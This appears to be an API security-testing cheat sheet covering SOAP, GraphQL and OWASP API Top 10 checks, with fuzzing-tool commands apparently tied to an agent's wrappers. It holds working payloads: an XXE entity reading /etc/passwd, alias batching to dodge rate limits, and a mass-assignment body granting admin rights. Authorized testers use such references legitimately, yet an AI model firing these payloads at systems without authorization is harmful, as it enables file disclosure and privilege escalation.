# API Security Testing Reference & Payload Patterns

## 1. SOAP API Testing
### WSDL Enumeration
- Look for WSDL endpoints at `?wsdl`, `?WSDL`, `/service.asmx?wsdl`, `/ws?wsdl`.
- Parse operations, parameters, target namespaces, and bindings.

### XML Injection & XXE via SOAP
- Test XML parameters for entity expansion (XXE):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <GetUserRequest>
      <Username>&xxe;</Username>
    </GetUserRequest>
  </soapenv:Body>
</soapenv:Envelope>
```

### SOAP Action Fuzzing
- Test `SOAPAction` header tampering, header omission, or specifying alternative operation names in `SOAPAction` vs the XML body.

---

## 2. GraphQL Testing
### Introspection Queries
- Test if introspection is enabled:
```json
{"query": "{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"}
```

### Batch Queries & Query Amplification
- Array-based batching: `[{"query": "..."}, {"query": "..."}]`
- Alias-based batching (bypassing rate limits on single endpoint):
```graphql
query {
  u1: user(id: 1) { id username }
  u2: user(id: 2) { id username }
}
```

### Field Suggestion & Alias Abuse
- Intentionally send typos in field names to leverage GraphQL field suggestion hints (e.g. `usr` -> `Did you mean user?`).

### Mutation Testing & Depth/Complexity Controls
- Check for authorization missing on sensitive mutations (`updateUser`, `deleteAccount`, `changePassword`).
- Test deeply nested recursive queries to test query depth/complexity limiters.

### Specialized GraphQL Tools
- `graphql-cop`: Static/dynamic analysis for GraphQL security misconfigurations (`npx graphql-cop -t http://target/graphql`).
- `inql`: GraphQL introspection scanner (`inql -t http://target/graphql`).

---

## 3. OWASP API Top 10 Patterns
### Excessive Data Exposure
- Inspect raw HTTP response JSON objects for sensitive unrendered properties (`password_hash`, `ssn`, `internal_role`, `is_admin`, `api_token`).

### Broken Object Level Authorization (IDOR / BOLA)
- Substitute resource identifiers in endpoint paths or query parameters (`GET /api/v1/users/101` -> `GET /api/v1/users/102`).

### Mass Assignment (Body Property Injection)
- Inject administrative or internal attributes into object creation/update payloads (`POST /api/users` or `PUT /api/users/me`):
```json
{
  "email": "user@example.com",
  "role": "admin",
  "is_verified": true,
  "permissions": ["*"]
}
```

### Broken Function Level Authorization (BFLA)
- Attempt accessing administrative API endpoints using regular user credentials (`GET /api/admin/metrics`, `POST /api/v1/users/suppress`).

### Security Misconfiguration & Unsafe API Consumption
- Check CORS misconfigurations (`Access-Control-Allow-Origin: *` with credentials), verbose stack traces, default API keys, and missing security headers.

---

## 4. API Security Tooling Syntax
- **`Arjun`** (Parameter Fuzzing): `arjun -u http://target/api/endpoint -m GET` or `arjun -u http://target/api/endpoint -m POST --json`
- **`ffuf`** (API Endpoint & Route Fuzzing): prefer `violin_ffuf(..., url="http://target/api/v1/FUZZ")`, which resolves explicit, `$SECLISTS`, SecLists, and DIRB wordlists; for a raw command use `-w <verified-existing-wordlist>`.
- **`Nuclei`** (API Vulnerability Templates): `violin_nuclei -u http://target/api -t exposure/,misconfiguration/`
- **`kiterunner`** (API OpenAPI/Swagger Brute Force): `kr scan http://target/api -w routes-large.kite`